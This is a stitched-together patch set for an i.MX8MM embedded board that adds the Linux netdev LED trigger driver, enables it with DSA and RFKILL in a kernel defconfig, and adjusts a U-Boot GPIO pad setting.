+ This allows LEDs to be controlled by network device activity.
|
||||||
|
+ If unsure, say Y.
|
||||||
|
+
|
||||||
|
endif # LEDS_TRIGGERS
|
||||||
|
Index: drivers/leds/trigger/Makefile
|
||||||
|
===================================================================
|
||||||
|
--- drivers/leds/trigger/Makefile
|
||||||
|
+++ linux-imx/drivers/leds/trigger/Makefile
|
||||||
|
@@ -11,3 +11,4 @@ obj-$(CONFIG_LEDS_TRIGGER_DEFAULT_ON) +=
|
||||||
|
obj-$(CONFIG_LEDS_TRIGGER_TRANSIENT) += ledtrig-transient.o
|
||||||
|
obj-$(CONFIG_LEDS_TRIGGER_CAMERA) += ledtrig-camera.o
|
||||||
|
obj-$(CONFIG_LEDS_TRIGGER_PANIC) += ledtrig-panic.o
|
||||||
|
+obj-$(CONFIG_LEDS_TRIGGER_NETDEV) += ledtrig-netdev.o
|
||||||
|
Index: drivers/leds/trigger/ledtrig-netdev.c
|
||||||
|
===================================================================
|
||||||
|
--- /dev/null
|
||||||
|
+++ linux-imx/drivers/leds/trigger/ledtrig-netdev.c
|
||||||
|
@@ -0,0 +1,497 @@
|
||||||
|
+// SPDX-License-Identifier: GPL-2.0
|
||||||
|
+// Copyright 2017 Ben Whitten <ben.whitten@gmail.com>
|
||||||
|
+// Copyright 2007 Oliver Jowett <oliver@opencloud.com>
|
||||||
|
+//
|
||||||
|
+// LED Kernel Netdev Trigger
|
||||||
|
+//
|
||||||
|
+// Toggles the LED to reflect the link and traffic state of a named net device
|
||||||
|
+//
|
||||||
|
+// Derived from ledtrig-timer.c which is:
|
||||||
|
+// Copyright 2005-2006 Openedhand Ltd.
|
||||||
|
+// Author: Richard Purdie <rpurdie@openedhand.com>
|
||||||
|
+
|
||||||
|
+#include <linux/atomic.h>
|
||||||
|
+#include <linux/ctype.h>
|
||||||
|
+#include <linux/device.h>
|
||||||
|
+#include <linux/init.h>
|
||||||
|
+#include <linux/jiffies.h>
|
||||||
|
+#include <linux/kernel.h>
|
||||||
|
+#include <linux/leds.h>
|
||||||
|
+#include <linux/list.h>
|
||||||
|
+#include <linux/module.h>
|
||||||
|
+#include <linux/netdevice.h>
|
||||||
|
+#include <linux/spinlock.h>
|
||||||
|
+#include <linux/timer.h>
|
||||||
|
+#include "../leds.h"
|
||||||
|
+
|
||||||
|
+/*
|
||||||
|
+ * Configurable sysfs attributes:
|
||||||
|
+ *
|
||||||
|
+ * device_name - network device name to monitor
|
||||||
|
+ * interval - duration of LED blink, in milliseconds
|
||||||
|
+ * link - LED's normal state reflects whether the link is up
|
||||||
|
+ * (has carrier) or not
|
||||||
|
+ * tx - LED blinks on transmitted data
|
||||||
|
+ * rx - LED blinks on receive data
|
||||||
|
+ *
|
||||||
|
+ */
|
||||||
|
+
|
||||||
|
+struct led_netdev_data {
|
||||||
|
+ spinlock_t lock;
|
||||||
|
+
|
||||||
|
+ struct delayed_work work;
|
||||||
|
+ struct notifier_block notifier;
|
||||||
|
+
|
||||||
|
+ struct led_classdev *led_cdev;
|
||||||
|
+ struct net_device *net_dev;
|
||||||
|
+
|
||||||
|
+ char device_name[IFNAMSIZ];
|
||||||
|
+ atomic_t interval;
|
||||||
|
+ unsigned int last_activity;
|
||||||
|
+
|
||||||
|
+ unsigned long mode;
|
||||||
|
+#define NETDEV_LED_LINK 0
|
||||||
|
+#define NETDEV_LED_TX 1
|
||||||
|
+#define NETDEV_LED_RX 2
|
||||||
|
+#define NETDEV_LED_MODE_LINKUP 3
|
||||||
|
+};
|
||||||
|
+
|
||||||
|
+enum netdev_led_attr {
|
||||||
|
+ NETDEV_ATTR_LINK,
|
||||||
|
+ NETDEV_ATTR_TX,
|
||||||
|
+ NETDEV_ATTR_RX
|
||||||
|
+};
|
||||||
|
+
|
||||||
|
+static void set_baseline_state(struct led_netdev_data *trigger_data)
|
||||||
|
+{
|
||||||
|
+ int current_brightness;
|
||||||
|
+ struct led_classdev *led_cdev = trigger_data->led_cdev;
|
||||||
|
+
|
||||||
|
+ current_brightness = led_cdev->brightness;
|
||||||
|
+ if (current_brightness)
|
||||||
|
+ led_cdev->blink_brightness = current_brightness;
|
||||||
|
+ if (!led_cdev->blink_brightness)
|
||||||
|
+ led_cdev->blink_brightness = led_cdev->max_brightness;
|
||||||
|
+
|
||||||
|
+ if (!test_bit(NETDEV_LED_MODE_LINKUP, &trigger_data->mode))
|
||||||
|
+ led_set_brightness(led_cdev, LED_OFF);
|
||||||
|
+ else {
|
||||||
|
+ if (test_bit(NETDEV_LED_LINK, &trigger_data->mode))
|
||||||
|
+ led_set_brightness(led_cdev,
|
||||||
|
+ led_cdev->blink_brightness);
|
||||||
|
+ else
|
||||||
|
+ led_set_brightness(led_cdev, LED_OFF);
|
||||||
|
+
|
||||||
|
+ /* If we are looking for RX/TX start periodically
|
||||||
|
+ * checking stats
|
||||||
|
+ */
|
||||||
|
+ if (test_bit(NETDEV_LED_TX, &trigger_data->mode) ||
|
||||||
|
+ test_bit(NETDEV_LED_RX, &trigger_data->mode))
|
||||||
|
+ schedule_delayed_work(&trigger_data->work, 0);
|
||||||
|
+ }
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static ssize_t device_name_show(struct device *dev,
|
||||||
|
+ struct device_attribute *attr, char *buf)
|
||||||
|
+{
|
||||||
|
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
|
||||||
|
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
|
||||||
|
+ ssize_t len;
|
||||||
|
+
|
||||||
|
+ spin_lock_bh(&trigger_data->lock);
|
||||||
|
+ len = sprintf(buf, "%s\n", trigger_data->device_name);
|
||||||
|
+ spin_unlock_bh(&trigger_data->lock);
|
||||||
|
+
|
||||||
|
+ return len;
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static ssize_t device_name_store(struct device *dev,
|
||||||
|
+ struct device_attribute *attr, const char *buf,
|
||||||
|
+ size_t size)
|
||||||
|
+{
|
||||||
|
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
|
||||||
|
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
|
||||||
|
+
|
||||||
|
+ if (size >= IFNAMSIZ)
|
||||||
|
+ return -EINVAL;
|
||||||
|
+
|
||||||
|
+ cancel_delayed_work_sync(&trigger_data->work);
|
||||||
|
+
|
||||||
|
+ spin_lock_bh(&trigger_data->lock);
|
||||||
|
+
|
||||||
|
+ if (trigger_data->net_dev) {
|
||||||
|
+ dev_put(trigger_data->net_dev);
|
||||||
|
+ trigger_data->net_dev = NULL;
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ memcpy(trigger_data->device_name, buf, size);
|
||||||
|
+ trigger_data->device_name[size] = 0;
|
||||||
|
+ if (size > 0 && trigger_data->device_name[size - 1] == '\n')
|
||||||
|
+ trigger_data->device_name[size - 1] = 0;
|
||||||
|
+
|
||||||
|
+ if (trigger_data->device_name[0] != 0)
|
||||||
|
+ trigger_data->net_dev =
|
||||||
|
+ dev_get_by_name(&init_net, trigger_data->device_name);
|
||||||
|
+
|
||||||
|
+ clear_bit(NETDEV_LED_MODE_LINKUP, &trigger_data->mode);
|
||||||
|
+ if (trigger_data->net_dev != NULL)
|
||||||
|
+ if (netif_carrier_ok(trigger_data->net_dev))
|
||||||
|
+ set_bit(NETDEV_LED_MODE_LINKUP, &trigger_data->mode);
|
||||||
|
+
|
||||||
|
+ trigger_data->last_activity = 0;
|
||||||
|
+
|
||||||
|
+ set_baseline_state(trigger_data);
|
||||||
|
+ spin_unlock_bh(&trigger_data->lock);
|
||||||
|
+
|
||||||
|
+ return size;
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static DEVICE_ATTR_RW(device_name);
|
||||||
|
+
|
||||||
|
+static ssize_t netdev_led_attr_show(struct device *dev, char *buf,
|
||||||
|
+ enum netdev_led_attr attr)
|
||||||
|
+{
|
||||||
|
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
|
||||||
|
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
|
||||||
|
+ int bit;
|
||||||
|
+
|
||||||
|
+ switch (attr) {
|
||||||
|
+ case NETDEV_ATTR_LINK:
|
||||||
|
+ bit = NETDEV_LED_LINK;
|
||||||
|
+ break;
|
||||||
|
+ case NETDEV_ATTR_TX:
|
||||||
|
+ bit = NETDEV_LED_TX;
|
||||||
|
+ break;
|
||||||
|
+ case NETDEV_ATTR_RX:
|
||||||
|
+ bit = NETDEV_LED_RX;
|
||||||
|
+ break;
|
||||||
|
+ default:
|
||||||
|
+ return -EINVAL;
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ return sprintf(buf, "%u\n", test_bit(bit, &trigger_data->mode));
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static ssize_t netdev_led_attr_store(struct device *dev, const char *buf,
|
||||||
|
+ size_t size, enum netdev_led_attr attr)
|
||||||
|
+{
|
||||||
|
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
|
||||||
|
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
|
||||||
|
+ unsigned long state;
|
||||||
|
+ int ret;
|
||||||
|
+ int bit;
|
||||||
|
+
|
||||||
|
+ ret = kstrtoul(buf, 0, &state);
|
||||||
|
+ if (ret)
|
||||||
|
+ return ret;
|
||||||
|
+
|
||||||
|
+ switch (attr) {
|
||||||
|
+ case NETDEV_ATTR_LINK:
|
||||||
|
+ bit = NETDEV_LED_LINK;
|
||||||
|
+ break;
|
||||||
|
+ case NETDEV_ATTR_TX:
|
||||||
|
+ bit = NETDEV_LED_TX;
|
||||||
|
+ break;
|
||||||
|
+ case NETDEV_ATTR_RX:
|
||||||
|
+ bit = NETDEV_LED_RX;
|
||||||
|
+ break;
|
||||||
|
+ default:
|
||||||
|
+ return -EINVAL;
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ cancel_delayed_work_sync(&trigger_data->work);
|
||||||
|
+
|
||||||
|
+ if (state)
|
||||||
|
+ set_bit(bit, &trigger_data->mode);
|
||||||
|
+ else
|
||||||
|
+ clear_bit(bit, &trigger_data->mode);
|
||||||
|
+
|
||||||
|
+ set_baseline_state(trigger_data);
|
||||||
|
+
|
||||||
|
+ return size;
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static ssize_t link_show(struct device *dev,
|
||||||
|
+ struct device_attribute *attr, char *buf)
|
||||||
|
+{
|
||||||
|
+ return netdev_led_attr_show(dev, buf, NETDEV_ATTR_LINK);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static ssize_t link_store(struct device *dev,
|
||||||
|
+ struct device_attribute *attr, const char *buf, size_t size)
|
||||||
|
+{
|
||||||
|
+ return netdev_led_attr_store(dev, buf, size, NETDEV_ATTR_LINK);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static DEVICE_ATTR_RW(link);
|
||||||
|
+
|
||||||
|
+static ssize_t tx_show(struct device *dev,
|
||||||
|
+ struct device_attribute *attr, char *buf)
|
||||||
|
+{
|
||||||
|
+ return netdev_led_attr_show(dev, buf, NETDEV_ATTR_TX);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static ssize_t tx_store(struct device *dev,
|
||||||
|
+ struct device_attribute *attr, const char *buf, size_t size)
|
||||||
|
+{
|
||||||
|
+ return netdev_led_attr_store(dev, buf, size, NETDEV_ATTR_TX);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static DEVICE_ATTR_RW(tx);
|
||||||
|
+
|
||||||
|
+static ssize_t rx_show(struct device *dev,
|
||||||
|
+ struct device_attribute *attr, char *buf)
|
||||||
|
+{
|
||||||
|
+ return netdev_led_attr_show(dev, buf, NETDEV_ATTR_RX);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static ssize_t rx_store(struct device *dev,
|
||||||
|
+ struct device_attribute *attr, const char *buf, size_t size)
|
||||||
|
+{
|
||||||
|
+ return netdev_led_attr_store(dev, buf, size, NETDEV_ATTR_RX);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static DEVICE_ATTR_RW(rx);
|
||||||
|
+
|
||||||
|
+static ssize_t interval_show(struct device *dev,
|
||||||
|
+ struct device_attribute *attr, char *buf)
|
||||||
|
+{
|
||||||
|
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
|
||||||
|
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
|
||||||
|
+
|
||||||
|
+ return sprintf(buf, "%u\n",
|
||||||
|
+ jiffies_to_msecs(atomic_read(&trigger_data->interval)));
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static ssize_t interval_store(struct device *dev,
|
||||||
|
+ struct device_attribute *attr, const char *buf,
|
||||||
|
+ size_t size)
|
||||||
|
+{
|
||||||
|
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
|
||||||
|
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
|
||||||
|
+ unsigned long value;
|
||||||
|
+ int ret;
|
||||||
|
+
|
||||||
|
+ ret = kstrtoul(buf, 0, &value);
|
||||||
|
+ if (ret)
|
||||||
|
+ return ret;
|
||||||
|
+
|
||||||
|
+ /* impose some basic bounds on the timer interval */
|
||||||
|
+ if (value >= 5 && value <= 10000) {
|
||||||
|
+ cancel_delayed_work_sync(&trigger_data->work);
|
||||||
|
+
|
||||||
|
+ atomic_set(&trigger_data->interval, msecs_to_jiffies(value));
|
||||||
|
+ set_baseline_state(trigger_data); /* resets timer */
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ return size;
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static DEVICE_ATTR_RW(interval);
|
||||||
|
+
|
||||||
|
+static int netdev_trig_notify(struct notifier_block *nb,
|
||||||
|
+ unsigned long evt, void *dv)
|
||||||
|
+{
|
||||||
|
+ struct net_device *dev =
|
||||||
|
+ netdev_notifier_info_to_dev((struct netdev_notifier_info *)dv);
|
||||||
|
+ struct led_netdev_data *trigger_data = container_of(nb,
|
||||||
|
+ struct
|
||||||
|
+ led_netdev_data,
|
||||||
|
+ notifier);
|
||||||
|
+
|
||||||
|
+ if (evt != NETDEV_UP && evt != NETDEV_DOWN && evt != NETDEV_CHANGE
|
||||||
|
+ && evt != NETDEV_REGISTER && evt != NETDEV_UNREGISTER
|
||||||
|
+ && evt != NETDEV_CHANGENAME)
|
||||||
|
+ return NOTIFY_DONE;
|
||||||
|
+
|
||||||
|
+ if (!(dev == trigger_data->net_dev ||
|
||||||
|
+ (evt == NETDEV_CHANGENAME && !strcmp(dev->name, trigger_data->device_name)) ||
|
||||||
|
+ (evt == NETDEV_REGISTER && !strcmp(dev->name, trigger_data->device_name))))
|
||||||
|
+ return NOTIFY_DONE;
|
||||||
|
+
|
||||||
|
+ cancel_delayed_work_sync(&trigger_data->work);
|
||||||
|
+
|
||||||
|
+ spin_lock_bh(&trigger_data->lock);
|
||||||
|
+
|
||||||
|
+ clear_bit(NETDEV_LED_MODE_LINKUP, &trigger_data->mode);
|
||||||
|
+ switch (evt) {
|
||||||
|
+ case NETDEV_CHANGENAME:
|
||||||
|
+ case NETDEV_REGISTER:
|
||||||
|
+ if (trigger_data->net_dev)
|
||||||
|
+ dev_put(trigger_data->net_dev);
|
||||||
|
+ dev_hold(dev);
|
||||||
|
+ trigger_data->net_dev = dev;
|
||||||
|
+ break;
|
||||||
|
+ case NETDEV_UNREGISTER:
|
||||||
|
+ dev_put(trigger_data->net_dev);
|
||||||
|
+ trigger_data->net_dev = NULL;
|
||||||
|
+ break;
|
||||||
|
+ case NETDEV_UP:
|
||||||
|
+ case NETDEV_CHANGE:
|
||||||
|
+ if (netif_carrier_ok(dev))
|
||||||
|
+ set_bit(NETDEV_LED_MODE_LINKUP, &trigger_data->mode);
|
||||||
|
+ break;
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ set_baseline_state(trigger_data);
|
||||||
|
+
|
||||||
|
+ spin_unlock_bh(&trigger_data->lock);
|
||||||
|
+
|
||||||
|
+ return NOTIFY_DONE;
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+/* here's the real work! */
|
||||||
|
+static void netdev_trig_work(struct work_struct *work)
|
||||||
|
+{
|
||||||
|
+ struct led_netdev_data *trigger_data = container_of(work,
|
||||||
|
+ struct
|
||||||
|
+ led_netdev_data,
|
||||||
|
+ work.work);
|
||||||
|
+ struct rtnl_link_stats64 *dev_stats;
|
||||||
|
+ unsigned int new_activity;
|
||||||
|
+ struct rtnl_link_stats64 temp;
|
||||||
|
+ unsigned long interval;
|
||||||
|
+ int invert;
|
||||||
|
+
|
||||||
|
+ /* If we dont have a device, insure we are off */
|
||||||
|
+ if (!trigger_data->net_dev) {
|
||||||
|
+ led_set_brightness(trigger_data->led_cdev, LED_OFF);
|
||||||
|
+ return;
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ /* If we are not looking for RX/TX then return */
|
||||||
|
+ if (!test_bit(NETDEV_LED_TX, &trigger_data->mode) &&
|
||||||
|
+ !test_bit(NETDEV_LED_RX, &trigger_data->mode))
|
||||||
|
+ return;
|
||||||
|
+
|
||||||
|
+ dev_stats = dev_get_stats(trigger_data->net_dev, &temp);
|
||||||
|
+ new_activity =
|
||||||
|
+ (test_bit(NETDEV_LED_TX, &trigger_data->mode) ?
|
||||||
|
+ dev_stats->tx_packets : 0) +
|
||||||
|
+ (test_bit(NETDEV_LED_RX, &trigger_data->mode) ?
|
||||||
|
+ dev_stats->rx_packets : 0);
|
||||||
|
+
|
||||||
|
+ if (trigger_data->last_activity != new_activity) {
|
||||||
|
+ led_stop_software_blink(trigger_data->led_cdev);
|
||||||
|
+
|
||||||
|
+ invert = test_bit(NETDEV_LED_LINK, &trigger_data->mode);
|
||||||
|
+ interval = jiffies_to_msecs(
|
||||||
|
+ atomic_read(&trigger_data->interval));
|
||||||
|
+ /* base state is ON (link present) */
|
||||||
|
+ led_blink_set_oneshot(trigger_data->led_cdev,
|
||||||
|
+ &interval,
|
||||||
|
+ &interval,
|
||||||
|
+ invert);
|
||||||
|
+ trigger_data->last_activity = new_activity;
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ schedule_delayed_work(&trigger_data->work,
|
||||||
|
+ (atomic_read(&trigger_data->interval)*2));
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static void netdev_trig_activate(struct led_classdev *led_cdev)
|
||||||
|
+{
|
||||||
|
+ struct led_netdev_data *trigger_data;
|
||||||
|
+ int rc;
|
||||||
|
+
|
||||||
|
+ trigger_data = kzalloc(sizeof(struct led_netdev_data), GFP_KERNEL);
|
||||||
|
+ if (!trigger_data)
|
||||||
|
+ return;
|
||||||
|
+
|
||||||
|
+ spin_lock_init(&trigger_data->lock);
|
||||||
|
+
|
||||||
|
+ trigger_data->notifier.notifier_call = netdev_trig_notify;
|
||||||
|
+ trigger_data->notifier.priority = 10;
|
||||||
|
+
|
||||||
|
+ INIT_DELAYED_WORK(&trigger_data->work, netdev_trig_work);
|
||||||
|
+
|
||||||
|
+ trigger_data->led_cdev = led_cdev;
|
||||||
|
+ trigger_data->net_dev = NULL;
|
||||||
|
+ trigger_data->device_name[0] = 0;
|
||||||
|
+
|
||||||
|
+ trigger_data->mode = 0;
|
||||||
|
+ atomic_set(&trigger_data->interval, msecs_to_jiffies(50));
|
||||||
|
+ trigger_data->last_activity = 0;
|
||||||
|
+
|
||||||
|
+ led_cdev->trigger_data = trigger_data;
|
||||||
|
+
|
||||||
|
+ rc = device_create_file(led_cdev->dev, &dev_attr_device_name);
|
||||||
|
+ if (rc)
|
||||||
|
+ goto err_out;
|
||||||
|
+ rc = device_create_file(led_cdev->dev, &dev_attr_link);
|
||||||
|
+ if (rc)
|
||||||
|
+ goto err_out_device_name;
|
||||||
|
+ rc = device_create_file(led_cdev->dev, &dev_attr_rx);
|
||||||
|
+ if (rc)
|
||||||
|
+ goto err_out_link;
|
||||||
|
+ rc = device_create_file(led_cdev->dev, &dev_attr_tx);
|
||||||
|
+ if (rc)
|
||||||
|
+ goto err_out_rx;
|
||||||
|
+ rc = device_create_file(led_cdev->dev, &dev_attr_interval);
|
||||||
|
+ if (rc)
|
||||||
|
+ goto err_out_tx;
|
||||||
|
+ rc = register_netdevice_notifier(&trigger_data->notifier);
|
||||||
|
+ if (rc)
|
||||||
|
+ goto err_out_interval;
|
||||||
|
+ return;
|
||||||
|
+
|
||||||
|
+err_out_interval:
|
||||||
|
+ device_remove_file(led_cdev->dev, &dev_attr_interval);
|
||||||
|
+err_out_tx:
|
||||||
|
+ device_remove_file(led_cdev->dev, &dev_attr_tx);
|
||||||
|
+err_out_rx:
|
||||||
|
+ device_remove_file(led_cdev->dev, &dev_attr_rx);
|
||||||
|
+err_out_link:
|
||||||
|
+ device_remove_file(led_cdev->dev, &dev_attr_link);
|
||||||
|
+err_out_device_name:
|
||||||
|
+ device_remove_file(led_cdev->dev, &dev_attr_device_name);
|
||||||
|
+err_out:
|
||||||
|
+ led_cdev->trigger_data = NULL;
|
||||||
|
+ kfree(trigger_data);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static void netdev_trig_deactivate(struct led_classdev *led_cdev)
|
||||||
|
+{
|
||||||
|
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
|
||||||
|
+
|
||||||
|
+ if (trigger_data) {
|
||||||
|
+ unregister_netdevice_notifier(&trigger_data->notifier);
|
||||||
|
+
|
||||||
|
+ device_remove_file(led_cdev->dev, &dev_attr_device_name);
|
||||||
|
+ device_remove_file(led_cdev->dev, &dev_attr_link);
|
||||||
|
+ device_remove_file(led_cdev->dev, &dev_attr_rx);
|
||||||
|
+ device_remove_file(led_cdev->dev, &dev_attr_tx);
|
||||||
|
+ device_remove_file(led_cdev->dev, &dev_attr_interval);
|
||||||
|
+
|
||||||
|
+ cancel_delayed_work_sync(&trigger_data->work);
|
||||||
|
+
|
||||||
|
+ if (trigger_data->net_dev)
|
||||||
|
+ dev_put(trigger_data->net_dev);
|
||||||
|
+
|
||||||
|
+ kfree(trigger_data);
|
||||||
|
+ }
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static struct led_trigger netdev_led_trigger = {
|
||||||
|
+ .name = "netdev",
|
||||||
|
+ .activate = netdev_trig_activate,
|
||||||
|
+ .deactivate = netdev_trig_deactivate,
|
||||||
|
+};
|
||||||
|
+
|
||||||
|
+static int __init netdev_trig_init(void)
|
||||||
|
+{
|
||||||
|
+ return led_trigger_register(&netdev_led_trigger);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static void __exit netdev_trig_exit(void)
|
||||||
|
+{
|
||||||
|
+ led_trigger_unregister(&netdev_led_trigger);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+module_init(netdev_trig_init);
|
||||||
|
+module_exit(netdev_trig_exit);
|
||||||
|
+
|
||||||
|
+MODULE_AUTHOR("Ben Whitten <ben.whitten@gmail.com>");
|
||||||
|
+MODULE_AUTHOR("Oliver Jowett <oliver@opencloud.com>");
|
||||||
|
+MODULE_DESCRIPTION("Netdev LED trigger");
|
||||||
|
+MODULE_LICENSE("GPL v2");
|
@ -158,6 +158,8 @@ CONFIG_IP6_NF_NAT=m
|
|||||||
CONFIG_IP6_NF_TARGET_MASQUERADE=m
|
CONFIG_IP6_NF_TARGET_MASQUERADE=m
|
||||||
CONFIG_BRIDGE=m
|
CONFIG_BRIDGE=m
|
||||||
CONFIG_BRIDGE_VLAN_FILTERING=y
|
CONFIG_BRIDGE_VLAN_FILTERING=y
|
||||||
|
CONFIG_NET_DSA=y
|
||||||
|
CONFIG_NET_DSA_SLAVE_MAC=y
|
||||||
CONFIG_VLAN_8021Q=m
|
CONFIG_VLAN_8021Q=m
|
||||||
CONFIG_VLAN_8021Q_GVRP=y
|
CONFIG_VLAN_8021Q_GVRP=y
|
||||||
CONFIG_VLAN_8021Q_MVRP=y
|
CONFIG_VLAN_8021Q_MVRP=y
|
||||||
@ -210,6 +212,7 @@ CONFIG_MAC80211_MESH_SYNC_DEBUG=y
|
|||||||
CONFIG_MAC80211_MESH_CSA_DEBUG=y
|
CONFIG_MAC80211_MESH_CSA_DEBUG=y
|
||||||
CONFIG_MAC80211_MESH_PS_DEBUG=y
|
CONFIG_MAC80211_MESH_PS_DEBUG=y
|
||||||
CONFIG_MAC80211_TDLS_DEBUG=y
|
CONFIG_MAC80211_TDLS_DEBUG=y
|
||||||
|
CONFIG_RFKILL=y
|
||||||
CONFIG_NET_9P=y
|
CONFIG_NET_9P=y
|
||||||
CONFIG_NET_9P_VIRTIO=y
|
CONFIG_NET_9P_VIRTIO=y
|
||||||
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
|
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
|
||||||
@ -269,6 +272,7 @@ CONFIG_VXLAN=m
|
|||||||
CONFIG_TUN=y
|
CONFIG_TUN=y
|
||||||
CONFIG_VETH=m
|
CONFIG_VETH=m
|
||||||
CONFIG_VIRTIO_NET=y
|
CONFIG_VIRTIO_NET=y
|
||||||
|
CONFIG_NET_DSA_MV88E6XXX=m
|
||||||
CONFIG_AMD_XGBE=y
|
CONFIG_AMD_XGBE=y
|
||||||
CONFIG_NET_XGENE=y
|
CONFIG_NET_XGENE=y
|
||||||
CONFIG_MACB=y
|
CONFIG_MACB=y
|
||||||
@ -290,7 +294,6 @@ CONFIG_AT803X_PHY=y
|
|||||||
CONFIG_MARVELL_PHY=m
|
CONFIG_MARVELL_PHY=m
|
||||||
CONFIG_MESON_GXL_PHY=m
|
CONFIG_MESON_GXL_PHY=m
|
||||||
CONFIG_MICREL_PHY=y
|
CONFIG_MICREL_PHY=y
|
||||||
CONFIG_NXP_TJA110X_PHY=y
|
|
||||||
CONFIG_REALTEK_PHY=m
|
CONFIG_REALTEK_PHY=m
|
||||||
CONFIG_ROCKCHIP_PHY=y
|
CONFIG_ROCKCHIP_PHY=y
|
||||||
CONFIG_PPP=y
|
CONFIG_PPP=y
|
||||||
@ -314,7 +317,6 @@ CONFIG_USB_NET_QMI_WWAN=m
|
|||||||
CONFIG_BRCMFMAC=m
|
CONFIG_BRCMFMAC=m
|
||||||
CONFIG_BRCMFMAC_PCIE=y
|
CONFIG_BRCMFMAC_PCIE=y
|
||||||
CONFIG_HOSTAP=y
|
CONFIG_HOSTAP=y
|
||||||
CONFIG_RFKILL=y
|
|
||||||
CONFIG_RTL_CARDS=m
|
CONFIG_RTL_CARDS=m
|
||||||
# CONFIG_WLAN_VENDOR_TI is not set
|
# CONFIG_WLAN_VENDOR_TI is not set
|
||||||
CONFIG_XEN_NETDEV_BACKEND=m
|
CONFIG_XEN_NETDEV_BACKEND=m
|
||||||
@ -618,7 +620,6 @@ CONFIG_USB_SERIAL=y
|
|||||||
CONFIG_USB_SERIAL_OPTION=y
|
CONFIG_USB_SERIAL_OPTION=y
|
||||||
CONFIG_USB_TEST=m
|
CONFIG_USB_TEST=m
|
||||||
CONFIG_USB_EHSET_TEST_FIXTURE=y
|
CONFIG_USB_EHSET_TEST_FIXTURE=y
|
||||||
CONFIG_USB_HUB_USB251XB=y
|
|
||||||
CONFIG_USB_HSIC_USB3503=y
|
CONFIG_USB_HSIC_USB3503=y
|
||||||
CONFIG_NOP_USB_XCEIV=y
|
CONFIG_NOP_USB_XCEIV=y
|
||||||
CONFIG_USB_GPIO_VBUS=y
|
CONFIG_USB_GPIO_VBUS=y
|
||||||
@ -687,6 +688,7 @@ CONFIG_LEDS_SYSCON=y
|
|||||||
CONFIG_LEDS_TRIGGER_HEARTBEAT=y
|
CONFIG_LEDS_TRIGGER_HEARTBEAT=y
|
||||||
CONFIG_LEDS_TRIGGER_CPU=y
|
CONFIG_LEDS_TRIGGER_CPU=y
|
||||||
CONFIG_LEDS_TRIGGER_DEFAULT_ON=y
|
CONFIG_LEDS_TRIGGER_DEFAULT_ON=y
|
||||||
|
CONFIG_LEDS_TRIGGER_NETDEV=y
|
||||||
CONFIG_EDAC=y
|
CONFIG_EDAC=y
|
||||||
CONFIG_RTC_CLASS=y
|
CONFIG_RTC_CLASS=y
|
||||||
CONFIG_RTC_DRV_MAX77686=y
|
CONFIG_RTC_DRV_MAX77686=y
|
||||||
|
@ -69,7 +69,7 @@ Index: u-boot-imx/arch/arm/dts/fsl-imx8mm-tgr.dts
|
|||||||
+ MX8MM_IOMUXC_SAI1_RXD5_GPIO4_IO7 0x10
|
+ MX8MM_IOMUXC_SAI1_RXD5_GPIO4_IO7 0x10
|
||||||
+ MX8MM_IOMUXC_SAI1_RXD6_GPIO4_IO8 0x10
|
+ MX8MM_IOMUXC_SAI1_RXD6_GPIO4_IO8 0x10
|
||||||
+ MX8MM_IOMUXC_GPIO1_IO08_GPIO1_IO8 0x10
|
+ MX8MM_IOMUXC_GPIO1_IO08_GPIO1_IO8 0x10
|
||||||
+ MX8MM_IOMUXC_SAI1_RXD7_GPIO4_IO9 0x80
|
+ MX8MM_IOMUXC_SAI1_RXD7_GPIO4_IO9 0x1c0
|
||||||
+ MX8MM_IOMUXC_SAI1_RXD1_GPIO4_IO3 0x10
|
+ MX8MM_IOMUXC_SAI1_RXD1_GPIO4_IO3 0x10
|
||||||
+ >;
|
+ >;
|
||||||
+ };
|
+ };
|
||||||
@ -4125,7 +4125,7 @@ Index: u-boot-imx/board/tiesse/tgr/spl.c
|
|||||||
+#endif
|
+#endif
|
||||||
+
|
+
|
||||||
+static iomux_v3_cfg_t btn_pads[] = {
|
+static iomux_v3_cfg_t btn_pads[] = {
|
||||||
+ IMX8MM_PAD_SAI1_RXD7_GPIO4_IO9 | MUX_PAD_CTRL(PAD_CTL_HYS),
|
+ IMX8MM_PAD_SAI1_RXD7_GPIO4_IO9 | MUX_PAD_CTRL(PAD_CTL_HYS | PAD_CTL_PUE | PAD_CTL_PE ),
|
||||||
+};
